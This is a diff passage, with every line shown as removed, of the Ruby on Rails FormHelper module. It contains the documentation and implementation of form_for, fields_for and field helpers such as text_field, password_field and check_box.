-    # like the path the form should be submitted to, or the names of the input fields.
-    #
-    # In particular, thanks to the conventions followed in the generated field names, the
-    # controller gets a nested hash <tt>params[:person]</tt> with the person attributes
-    # set in the form. That hash is ready to be passed to <tt>Person.create</tt>:
-    #
-    #   if @person = Person.create(params[:person])
-    #     # success
-    #   else
-    #     # error handling
-    #   end
-    #
-    # Interestingly, the exact same view code in the previous example can be used to edit
-    # a person. If <tt>@person</tt> is an existing record with name "John Smith" and ID 256,
-    # the code above as is would yield instead:
-    #
-    #   <form action="/people/256" class="edit_person" id="edit_person_256" method="post">
-    #     <div style="margin:0;padding:0;display:inline">
-    #       <input name="_method" type="hidden" value="patch" />
-    #       <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
-    #     </div>
-    #     <label for="person_first_name">First name</label>:
-    #     <input id="person_first_name" name="person[first_name]" type="text" value="John" /><br />
-    #
-    #     <label for="person_last_name">Last name</label>:
-    #     <input id="person_last_name" name="person[last_name]" type="text" value="Smith" /><br />
-    #
-    #     <input name="commit" type="submit" value="Update Person" />
-    #   </form>
-    #
-    # Note that the endpoint, default values, and submit button label are tailored for <tt>@person</tt>.
-    # That works that way because the involved helpers know whether the resource is a new record or not,
-    # and generate HTML accordingly.
-    #
-    # The controller would receive the form data again in <tt>params[:person]</tt>, ready to be
-    # passed to <tt>Person#update</tt>:
-    #
-    #   if @person.update(params[:person])
-    #     # success
-    #   else
-    #     # error handling
-    #   end
-    #
-    # That's how you typically work with resources.
-    module FormHelper
-      extend ActiveSupport::Concern
-
-      include FormTagHelper
-      include UrlHelper
-      include ModelNaming
-
-      # Creates a form that allows the user to create or update the attributes
-      # of a specific model object.
-      #
-      # The method can be used in several slightly different ways, depending on
-      # how much you wish to rely on Rails to infer automatically from the model
-      # how the form should be constructed. For a generic model object, a form
-      # can be created by passing +form_for+ a string or symbol representing
-      # the object we are concerned with:
-      #
-      #   <%= form_for :person do |f| %>
-      #     First name: <%= f.text_field :first_name %><br />
-      #     Last name : <%= f.text_field :last_name %><br />
-      #     Biography : <%= f.text_area :biography %><br />
-      #     Admin?    : <%= f.check_box :admin %><br />
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # The variable +f+ yielded to the block is a FormBuilder object that
-      # incorporates the knowledge about the model object represented by
-      # <tt>:person</tt> passed to +form_for+. Methods defined on the FormBuilder
-      # are used to generate fields bound to this model. Thus, for example,
-      #
-      #   <%= f.text_field :first_name %>
-      #
-      # will get expanded to
-      #
-      #   <%= text_field :person, :first_name %>
-      # which results in an html <tt><input></tt> tag whose +name+ attribute is
-      # <tt>person[first_name]</tt>. This means that when the form is submitted,
-      # the value entered by the user will be available in the controller as
-      # <tt>params[:person][:first_name]</tt>.
-      #
-      # For fields generated in this way using the FormBuilder,
-      # if <tt>:person</tt> also happens to be the name of an instance variable
-      # <tt>@person</tt>, the default value of the field shown when the form is
-      # initially displayed (e.g. in the situation where you are editing an
-      # existing record) will be the value of the corresponding attribute of
-      # <tt>@person</tt>.
-      #
-      # The rightmost argument to +form_for+ is an
-      # optional hash of options -
-      #
-      # * <tt>:url</tt> - The URL the form is to be submitted to. This may be
-      #   represented in the same way as values passed to +url_for+ or +link_to+.
-      #   So for example you may use a named route directly. When the model is
-      #   represented by a string or symbol, as in the example above, if the
-      #   <tt>:url</tt> option is not specified, by default the form will be
-      #   sent back to the current url (We will describe below an alternative
-      #   resource-oriented usage of +form_for+ in which the URL does not need
-      #   to be specified explicitly).
-      # * <tt>:namespace</tt> - A namespace for your form to ensure uniqueness of
-      #   id attributes on form elements. The namespace attribute will be prefixed
-      #   with underscore on the generated HTML id.
-      # * <tt>:html</tt> - Optional HTML attributes for the form tag.
-      #
-      # Also note that +form_for+ doesn't create an exclusive scope. It's still
-      # possible to use both the stand-alone FormHelper methods and methods
-      # from FormTagHelper. For example:
-      #
-      #   <%= form_for :person do |f| %>
-      #     First name: <%= f.text_field :first_name %>
-      #     Last name : <%= f.text_field :last_name %>
-      #     Biography : <%= text_area :person, :biography %>
-      #     Admin?    : <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # This also works for the methods in FormOptionHelper and DateHelper that
-      # are designed to work with an object as base, like
-      # FormOptionHelper#collection_select and DateHelper#datetime_select.
-      #
-      # === #form_for with a model object
-      #
-      # In the examples above, the object to be created or edited was
-      # represented by a symbol passed to +form_for+, and we noted that
-      # a string can also be used equivalently. It is also possible, however,
-      # to pass a model object itself to +form_for+. For example, if <tt>@post</tt>
-      # is an existing record you wish to edit, you can create the form using
-      #
-      #   <%= form_for @post do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # This behaves in almost the same way as outlined previously, with a
-      # couple of small exceptions. First, the prefix used to name the input
-      # elements within the form (hence the key that denotes them in the +params+
-      # hash) is actually derived from the object's _class_, e.g. <tt>params[:post]</tt>
-      # if the object's class is +Post+. However, this can be overwritten using
-      # the <tt>:as</tt> option, e.g. -
-      #
-      #   <%= form_for(@person, as: :client) do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # would result in <tt>params[:client]</tt>.
-      #
-      # Secondly, the field values shown when the form is initially displayed
-      # are taken from the attributes of the object passed to +form_for+,
-      # regardless of whether the object is an instance
-      # variable. So, for example, if we had a _local_ variable +post+
-      # representing an existing record,
-      #
-      #   <%= form_for post do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # would produce a form with fields whose initial state reflect the current
-      # values of the attributes of +post+.
-      #
-      # === Resource-oriented style
-      #
-      # In the examples just shown, although not indicated explicitly, we still
-      # need to use the <tt>:url</tt> option in order to specify where the
-      # form is going to be sent. However, further simplification is possible
-      # if the record passed to +form_for+ is a _resource_, i.e. it corresponds
-      # to a set of RESTful routes, e.g. defined using the +resources+ method
-      # in <tt>config/routes.rb</tt>. In this case Rails will simply infer the
-      # appropriate URL from the record itself. For example,
-      #
-      #   <%= form_for @post do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # is then equivalent to something like:
-      #
-      #   <%= form_for @post, as: :post, url: post_path(@post), method: :patch, html: { class: "edit_post", id: "edit_post_45" } do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # And for a new record
-      #
-      #   <%= form_for(Post.new) do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # is equivalent to something like:
-      #
-      #   <%= form_for @post, as: :post, url: posts_path, html: { class: "new_post", id: "new_post" } do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # However you can still overwrite individual conventions, such as:
-      #
-      #   <%= form_for(@post, url: super_posts_path) do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # You can also set the answer format, like this:
-      #
-      #   <%= form_for(@post, format: :json) do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # For namespaced routes, like +admin_post_url+:
-      #
-      #   <%= form_for([:admin, @post]) do |f| %>
-      #    ...
-      #   <% end %>
-      #
-      # If your resource has associations defined, for example, you want to add comments
-      # to the document given that the routes are set correctly:
-      #
-      #   <%= form_for([@document, @comment]) do |f| %>
-      #    ...
-      #   <% end %>
-      #
-      # Where <tt>@document = Document.find(params[:id])</tt> and
-      # <tt>@comment = Comment.new</tt>.
-      #
-      # === Setting the method
-      #
-      # You can force the form to use the full array of HTTP verbs by setting
-      #
-      #    method: (:get|:post|:patch|:put|:delete)
-      #
-      # in the options hash. If the verb is not GET or POST, which are natively
-      # supported by HTML forms, the form will be set to POST and a hidden input
-      # called _method will carry the intended verb for the server to interpret.
-      #
-      # === Unobtrusive JavaScript
-      #
-      # Specifying:
-      #
-      #    remote: true
-      #
-      # in the options hash creates a form that will allow the unobtrusive JavaScript drivers to modify its
-      # behavior. The expected default behavior is an XMLHttpRequest in the background instead of the regular
-      # POST arrangement, but ultimately the behavior is the choice of the JavaScript driver implementor.
-      # Even though it's using JavaScript to serialize the form elements, the form submission will work just like
-      # a regular submission as viewed by the receiving side (all elements available in <tt>params</tt>).
-      #
-      # Example:
-      #
-      #   <%= form_for(@post, remote: true) do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # The HTML generated for this would be:
-      #
-      #   <form action='http://www.example.com' method='post' data-remote='true'>
-      #     <div style='margin:0;padding:0;display:inline'>
-      #       <input name='_method' type='hidden' value='patch' />
-      #     </div>
-      #     ...
-      #   </form>
-      #
-      # === Setting HTML options
-      #
-      # You can set data attributes directly by passing in a data hash, but all other HTML options must be wrapped in
-      # the HTML key. Example:
-      #
-      #   <%= form_for(@post, data: { behavior: "autosave" }, html: { name: "go" }) do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # The HTML generated for this would be:
-      #
-      #   <form action='http://www.example.com' method='post' data-behavior='autosave' name='go'>
-      #     <div style='margin:0;padding:0;display:inline'>
-      #       <input name='_method' type='hidden' value='patch' />
-      #     </div>
-      #     ...
-      #   </form>
-      #
-      # === Removing hidden model id's
-      #
-      # The form_for method automatically includes the model id as a hidden field in the form.
-      # This is used to maintain the correlation between the form data and its associated model.
-      # Some ORM systems do not use IDs on nested models so in this case you want to be able
-      # to disable the hidden id.
-      #
-      # In the following example the Post model has many Comments stored within it in a NoSQL database,
-      # thus there is no primary key for comments.
-      #
-      # Example:
-      #
-      #   <%= form_for(@post) do |f| %>
-      #     <%= f.fields_for(:comments, include_id: false) do |cf| %>
-      #       ...
-      #     <% end %>
-      #   <% end %>
-      #
-      # === Customized form builders
-      #
-      # You can also build forms using a customized FormBuilder class. Subclass
-      # FormBuilder and override or define some more helpers, then use your
-      # custom builder. For example, let's say you made a helper to
-      # automatically add labels to form inputs.
-      #
-      #   <%= form_for @person, url: { action: "create" }, builder: LabellingFormBuilder do |f| %>
-      #     <%= f.text_field :first_name %>
-      #     <%= f.text_field :last_name %>
-      #     <%= f.text_area :biography %>
-      #     <%= f.check_box :admin %>
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # In this case, if you use this:
-      #
-      #   <%= render f %>
-      #
-      # The rendered template is <tt>people/_labelling_form</tt> and the local
-      # variable referencing the form builder is called
-      # <tt>labelling_form</tt>.
-      #
-      # The custom FormBuilder class is automatically merged with the options
-      # of a nested fields_for call, unless it's explicitly set.
-      #
-      # In many cases you will want to wrap the above in another helper, so you
-      # could do something like the following:
-      #
-      #   def labelled_form_for(record_or_name_or_array, *args, &block)
-      #     options = args.extract_options!
-      #     form_for(record_or_name_or_array, *(args << options.merge(builder: LabellingFormBuilder)), &block)
-      #   end
-      #
-      # If you don't need to attach a form to a model instance, then check out
-      # FormTagHelper#form_tag.
-      #
-      # === Form to external resources
-      #
-      # When you build forms to external resources sometimes you need to set an authenticity token or just render a form
-      # without it, for example when you submit data to a payment gateway number and types of fields could be limited.
-      #
-      # To set an authenticity token you need to pass an <tt>:authenticity_token</tt> parameter
-      #
-      #   <%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f|
-      #     ...
-      #   <% end %>
-      #
-      # If you don't want to an authenticity token field be rendered at all just pass <tt>false</tt>:
-      #
-      #   <%= form_for @invoice, url: external_url, authenticity_token: false do |f|
-      #     ...
-      #   <% end %>
-      def form_for(record, options = {}, &block)
-        raise ArgumentError, "Missing block" unless block_given?
-        html_options = options[:html] ||= {}
-
-        case record
-        when String, Symbol
-          object_name = record
-          object      = nil
-        else
-          object      = record.is_a?(Array) ? record.last : record
-          raise ArgumentError, "First argument in form cannot contain nil or be empty" unless object
-          object_name = options[:as] || model_name_from_record_or_class(object).param_key
-          apply_form_for_options!(record, object, options)
-        end
-
-        html_options[:data]   = options.delete(:data)   if options.has_key?(:data)
-        html_options[:remote] = options.delete(:remote) if options.has_key?(:remote)
-        html_options[:method] = options.delete(:method) if options.has_key?(:method)
-        html_options[:authenticity_token] = options.delete(:authenticity_token)
-
-        builder = instantiate_builder(object_name, object, options)
-        output  = capture(builder, &block)
-        html_options[:multipart] ||= builder.multipart?
-
-        form_tag(options[:url] || {}, html_options) { output }
-      end
-
-      def apply_form_for_options!(record, object, options) #:nodoc:
-        object = convert_to_model(object)
-
-        as = options[:as]
-        action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :patch] : [:new, :post]
-        options[:html].reverse_merge!(
-          class:  as ? "#{action}_#{as}" : dom_class(object, action),
-          id:     as ? "#{action}_#{as}" : [options[:namespace], dom_id(object, action)].compact.join("_").presence,
-          method: method
-        )
-
-        options[:url] ||= polymorphic_path(record, format: options.delete(:format))
-      end
-      private :apply_form_for_options!
-
-      # Creates a scope around a specific model object like form_for, but
-      # doesn't create the form tags themselves. This makes fields_for suitable
-      # for specifying additional model objects in the same form.
-      #
-      # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
-      # its method signature is slightly different. Like +form_for+, it yields
-      # a FormBuilder object associated with a particular model object to a block,
-      # and within the block allows methods to be called on the builder to
-      # generate fields associated with the model object. Fields may reflect
-      # a model object in two ways - how they are named (hence how submitted
-      # values appear within the +params+ hash in the controller) and what
-      # default values are shown when the form the fields appear in is first
-      # displayed. In order for both of these features to be specified independently,
-      # both an object name (represented by either a symbol or string) and the
-      # object itself can be passed to the method separately -
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     First name: <%= person_form.text_field :first_name %>
-      #     Last name : <%= person_form.text_field :last_name %>
-      #
-      #     <%= fields_for :permission, @person.permission do |permission_fields| %>
-      #       Admin?  : <%= permission_fields.check_box :admin %>
-      #     <% end %>
-      #
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # In this case, the checkbox field will be represented by an HTML +input+
-      # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
-      # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
-      # If <tt>@person.permission</tt> is an existing record with an attribute
-      # +admin+, the initial state of the checkbox when first displayed will
-      # reflect the value of <tt>@person.permission.admin</tt>.
-      #
-      # Often this can be simplified by passing just the name of the model
-      # object to +fields_for+ -
-      #
-      #   <%= fields_for :permission do |permission_fields| %>
-      #     Admin?: <%= permission_fields.check_box :admin %>
-      #   <% end %>
-      #
-      # ...in which case, if <tt>:permission</tt> also happens to be the name of an
-      # instance variable <tt>@permission</tt>, the initial state of the input
-      # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
-      #
-      # Alternatively, you can pass just the model object itself (if the first
-      # argument isn't a string or symbol +fields_for+ will realize that the
-      # name has been omitted) -
-      #
-      #   <%= fields_for @person.permission do |permission_fields| %>
-      #     Admin?: <%= permission_fields.check_box :admin %>
-      #   <% end %>
-      #
-      # and +fields_for+ will derive the required name of the field from the
-      # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
-      # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
-      #
-      # Note: This also works for the methods in FormOptionHelper and
-      # DateHelper that are designed to work with an object as base, like
-      # FormOptionHelper#collection_select and DateHelper#datetime_select.
-      #
-      # === Nested Attributes Examples
-      #
-      # When the object belonging to the current scope has a nested attribute
-      # writer for a certain attribute, fields_for will yield a new scope
-      # for that attribute. This allows you to create forms that set or change
-      # the attributes of a parent object and its associations in one go.
-      #
-      # Nested attribute writers are normal setter methods named after an
-      # association. The most common way of defining these writers is either
-      # with +accepts_nested_attributes_for+ in a model definition or by
-      # defining a method with the proper name. For example: the attribute
-      # writer for the association <tt>:address</tt> is called
-      # <tt>address_attributes=</tt>.
-      #
-      # Whether a one-to-one or one-to-many style form builder will be yielded
-      # depends on whether the normal reader method returns a _single_ object
-      # or an _array_ of objects.
-      #
-      # ==== One-to-one
-      #
-      # Consider a Person class which returns a _single_ Address from the
-      # <tt>address</tt> reader method and responds to the
-      # <tt>address_attributes=</tt> writer method:
-      #
-      #   class Person
-      #     def address
-      #       @address
-      #     end
-      #
-      #     def address_attributes=(attributes)
-      #       # Process the attributes hash
-      #     end
-      #   end
-      #
-      # This model can now be used with a nested fields_for, like so:
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <%= person_form.fields_for :address do |address_fields| %>
-      #       Street  : <%= address_fields.text_field :street %>
-      #       Zip code: <%= address_fields.text_field :zip_code %>
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # When address is already an association on a Person you can use
-      # +accepts_nested_attributes_for+ to define the writer method for you:
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_one :address
-      #     accepts_nested_attributes_for :address
-      #   end
-      #
-      # If you want to destroy the associated model through the form, you have
-      # to enable it first using the <tt>:allow_destroy</tt> option for
-      # +accepts_nested_attributes_for+:
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_one :address
-      #     accepts_nested_attributes_for :address, allow_destroy: true
-      #   end
-      #
-      # Now, when you use a form element with the <tt>_destroy</tt> parameter,
-      # with a value that evaluates to +true+, you will destroy the associated
-      # model (eg. 1, '1', true, or 'true'):
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <%= person_form.fields_for :address do |address_fields| %>
-      #       ...
-      #       Delete: <%= address_fields.check_box :_destroy %>
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # ==== One-to-many
-      #
-      # Consider a Person class which returns an _array_ of Project instances
-      # from the <tt>projects</tt> reader method and responds to the
-      # <tt>projects_attributes=</tt> writer method:
-      #
-      #   class Person
-      #     def projects
-      #       [@project1, @project2]
-      #     end
-      #
-      #     def projects_attributes=(attributes)
-      #       # Process the attributes hash
-      #     end
-      #   end
-      #
-      # Note that the <tt>projects_attributes=</tt> writer method is in fact
-      # required for fields_for to correctly identify <tt>:projects</tt> as a
-      # collection, and the correct indices to be set in the form markup.
-      #
-      # When projects is already an association on Person you can use
-      # +accepts_nested_attributes_for+ to define the writer method for you:
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_many :projects
-      #     accepts_nested_attributes_for :projects
-      #   end
-      #
-      # This model can now be used with a nested fields_for. The block given to
-      # the nested fields_for call will be repeated for each instance in the
-      # collection:
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <%= person_form.fields_for :projects do |project_fields| %>
-      #       <% if project_fields.object.active? %>
-      #         Name: <%= project_fields.text_field :name %>
-      #       <% end %>
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # It's also possible to specify the instance to be used:
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <% @person.projects.each do |project| %>
-      #       <% if project.active? %>
-      #         <%= person_form.fields_for :projects, project do |project_fields| %>
-      #           Name: <%= project_fields.text_field :name %>
-      #         <% end %>
-      #       <% end %>
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # Or a collection to be used:
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
-      #       Name: <%= project_fields.text_field :name %>
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # If you want to destroy any of the associated models through the
-      # form, you have to enable it first using the <tt>:allow_destroy</tt>
-      # option for +accepts_nested_attributes_for+:
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_many :projects
-      #     accepts_nested_attributes_for :projects, allow_destroy: true
-      #   end
-      #
-      # This will allow you to specify which models to destroy in the
-      # attributes hash by adding a form element for the <tt>_destroy</tt>
-      # parameter with a value that evaluates to +true+
-      # (eg. 1, '1', true, or 'true'):
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <%= person_form.fields_for :projects do |project_fields| %>
-      #       Delete: <%= project_fields.check_box :_destroy %>
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # When a collection is used you might want to know the index of each
-      # object into the array. For this purpose, the <tt>index</tt> method
-      # is available in the FormBuilder object.
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <%= person_form.fields_for :projects do |project_fields| %>
-      #       Project #<%= project_fields.index %>
-      #       ...
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # Note that fields_for will automatically generate a hidden field
-      # to store the ID of the record. There are circumstances where this
-      # hidden field is not needed and you can pass <tt>hidden_field_id: false</tt>
-      # to prevent fields_for from rendering it automatically.
-      def fields_for(record_name, record_object = nil, options = {}, &block)
-        builder = instantiate_builder(record_name, record_object, options)
-        capture(builder, &block)
-      end
-
-      # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
-      # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
-      # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
-      # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
-      # target labels for radio_button tags (where the value is used in the ID of the input tag).
-      #
-      # ==== Examples
-      #   label(:post, :title)
-      #   # => <label for="post_title">Title</label>
-      #
-      # You can localize your labels based on model and attribute names.
-      # For example you can define the following in your locale (e.g. en.yml)
-      #
-      #   helpers:
-      #     label:
-      #       post:
-      #         body: "Write your entire text here"
-      #
-      # Which then will result in
-      #
-      #   label(:post, :body)
-      #   # => <label for="post_body">Write your entire text here</label>
-      #
-      # Localization can also be based purely on the translation of the attribute-name
-      # (if you are using ActiveRecord):
-      #
-      #   activerecord:
-      #     attributes:
-      #       post:
-      #         cost: "Total cost"
-      #
-      #   label(:post, :cost)
-      #   # => <label for="post_cost">Total cost</label>
-      #
-      #   label(:post, :title, "A short title")
-      #   # => <label for="post_title">A short title</label>
-      #
-      #   label(:post, :title, "A short title", class: "title_label")
-      #   # => <label for="post_title" class="title_label">A short title</label>
-      #
-      #   label(:post, :privacy, "Public Post", value: "public")
-      #   # => <label for="post_privacy_public">Public Post</label>
-      #
-      #   label(:post, :terms) do
-      #     'Accept <a href="/terms">Terms</a>.'.html_safe
-      #   end
-      def label(object_name, method, content_or_options = nil, options = nil, &block)
-        Tags::Label.new(object_name, method, self, content_or_options, options).render(&block)
-      end
-
-      # Returns an input tag of the "text" type tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
-      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
-      # shown.
-      #
-      # ==== Examples
-      #   text_field(:post, :title, size: 20)
-      #   # => <input type="text" id="post_title" name="post[title]" size="20" value="#{@post.title}" />
-      #
-      #   text_field(:post, :title, class: "create_input")
-      #   # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" class="create_input" />
-      #
-      #   text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login can not be admin!'); }")
-      #   # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login can not be admin!'); }"/>
-      #
-      #   text_field(:snippet, :code, size: 20, class: 'code_input')
-      #   # => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
-      def text_field(object_name, method, options = {})
-        Tags::TextField.new(object_name, method, self, options).render
-      end
-
-      # Returns an input tag of the "password" type tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
-      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
-      # shown. For security reasons this field is blank by default; pass in a value via +options+ if this is not desired.
-      #
-      # ==== Examples
-      #   password_field(:login, :pass, size: 20)
-      #   # => <input type="password" id="login_pass" name="login[pass]" size="20" />
-      #
-      #   password_field(:account, :secret, class: "form_input", value: @account.secret)
-      #   # => <input type="password" id="account_secret" name="account[secret]" value="#{@account.secret}" class="form_input" />
-      #
-      #   password_field(:user, :password, onchange: "if ($('#user_password').val().length > 30) { alert('Your password needs to be shorter!'); }")
-      #   # => <input type="password" id="user_password" name="user[password]" onchange="if ($('#user_password').val().length > 30) { alert('Your password needs to be shorter!'); }"/>
-      #
-      #   password_field(:account, :pin, size: 20, class: 'form_input')
-      #   # => <input type="password" id="account_pin" name="account[pin]" size="20" class="form_input" />
-      def password_field(object_name, method, options = {})
-        Tags::PasswordField.new(object_name, method, self, options).render
-      end
-
-      # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
-      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
-      # shown.
-      #
-      # ==== Examples
-      #   hidden_field(:signup, :pass_confirm)
-      #   # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
-      #
-      #   hidden_field(:post, :tag_list)
-      #   # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
-      #
-      #   hidden_field(:user, :token)
-      #   # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
-      def hidden_field(object_name, method, options = {})
-        Tags::HiddenField.new(object_name, method, self, options).render
-      end
-
-      # Returns a file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
-      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
-      # shown.
-      #
-      # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
-      #
-      # ==== Options
-      # * Creates standard HTML attributes for the tag.
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
-      # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
-      #
-      # ==== Examples
-      #   file_field(:user, :avatar)
-      #   # => <input type="file" id="user_avatar" name="user[avatar]" />
-      #
-      #   file_field(:post, :image, :multiple => true)
-      #   # => <input type="file" id="post_image" name="post[image]" multiple="true" />
-      #
-      #   file_field(:post, :attached, accept: 'text/html')
-      #   # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
-      #
-      #   file_field(:post, :image, accept: 'image/png,image/gif,image/jpeg')
-      #   # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
-      #
-      #   file_field(:attachment, :file, class: 'file_input')
-      #   # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
-      def file_field(object_name, method, options = {})
-        Tags::FileField.new(object_name, method, self, options).render
-      end
-
-      # Returns a textarea opening and closing tag set tailored for accessing a specified attribute (identified by +method+)
-      # on an object assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
-      # hash with +options+.
-      #
-      # ==== Examples
-      #   text_area(:post, :body, cols: 20, rows: 40)
-      #   # => <textarea cols="20" rows="40" id="post_body" name="post[body]">
-      #   #      #{@post.body}
-      #   #    </textarea>
-      #
-      #   text_area(:comment, :text, size: "20x30")
-      #   # => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
-      #   #      #{@comment.text}
-      #   #    </textarea>
-      #
-      #   text_area(:application, :notes, cols: 40, rows: 15, class: 'app_input')
-      #   # => <textarea cols="40" rows="15" id="application_notes" name="application[notes]" class="app_input">
-      #   #      #{@application.notes}
-      #   #    </textarea>
-      #
-      #   text_area(:entry, :body, size: "20x20", disabled: 'disabled')
-      #   # => <textarea cols="20" rows="20" id="entry_body" name="entry[body]" disabled="disabled">
-      #   #      #{@entry.body}
-      #   #    </textarea>
-      def text_area(object_name, method, options = {})
-        Tags::TextArea.new(object_name, method, self, options).render
-      end
-
-      # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
-      # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked.
-      # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
-      # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
-      #
-      # ==== Gotcha
-      #
-      # The HTML specification says unchecked check boxes are not successful, and
-      # thus web browsers do not send them. Unfortunately this introduces a gotcha:
-      # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
-      # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
-      # any mass-assignment idiom like
-      #
-      #   @invoice.update(params[:invoice])
-      #
-      # wouldn't update the flag.
-      #
-      # To prevent this the helper generates an auxiliary hidden field before
-      # the very check box. The hidden field has the same name and its
-      # attributes mimic an unchecked check box.
-      #
-      # This way, the client either sends only the hidden field (representing
-      # the check box is unchecked), or both fields. Since the HTML specification
-      # says key/value pairs have to be sent in the same order they appear in the
-      # form, and parameters extraction gets the last occurrence of any repeated
-      # key in the query string, that works for ordinary forms.
-      #
-      # Unfortunately that workaround does not work when the check box goes
-      # within an array-like parameter, as in
-      #
-      #   <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
-      #     <%= form.check_box :paid %>
-      #     ...
-      #   <% end %>
-      #
-      # because parameter name repetition is precisely what Rails seeks to distinguish
-      # the elements of the array. For each item with a checked check box you
-      # get an extra ghost item with only that attribute, assigned to "0".
-      #
-      # In that case it is preferable to either use +check_box_tag+ or to use
-      # hashes instead of arrays.
-      #
-      #   # Let's say that @post.validated? is 1:
-      #   check_box("post", "validated")
-      #   # => <input name="post[validated]" type="hidden" value="0" />
-      #   #    <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
-      #
-      #   # Let's say that @puppy.gooddog is "no":
-      #   check_box("puppy", "gooddog", {}, "yes", "no")
-      #   # => <input name="puppy[gooddog]" type="hidden" value="no" />
-      #   #    <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
-      #
-      #   check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")
-      #   # => <input name="eula[accepted]" type="hidden" value="no" />
-      #   #    <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
-      def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
-        Tags::CheckBox.new(object_name, method, self, checked_value, unchecked_value, options).render
-      end
-
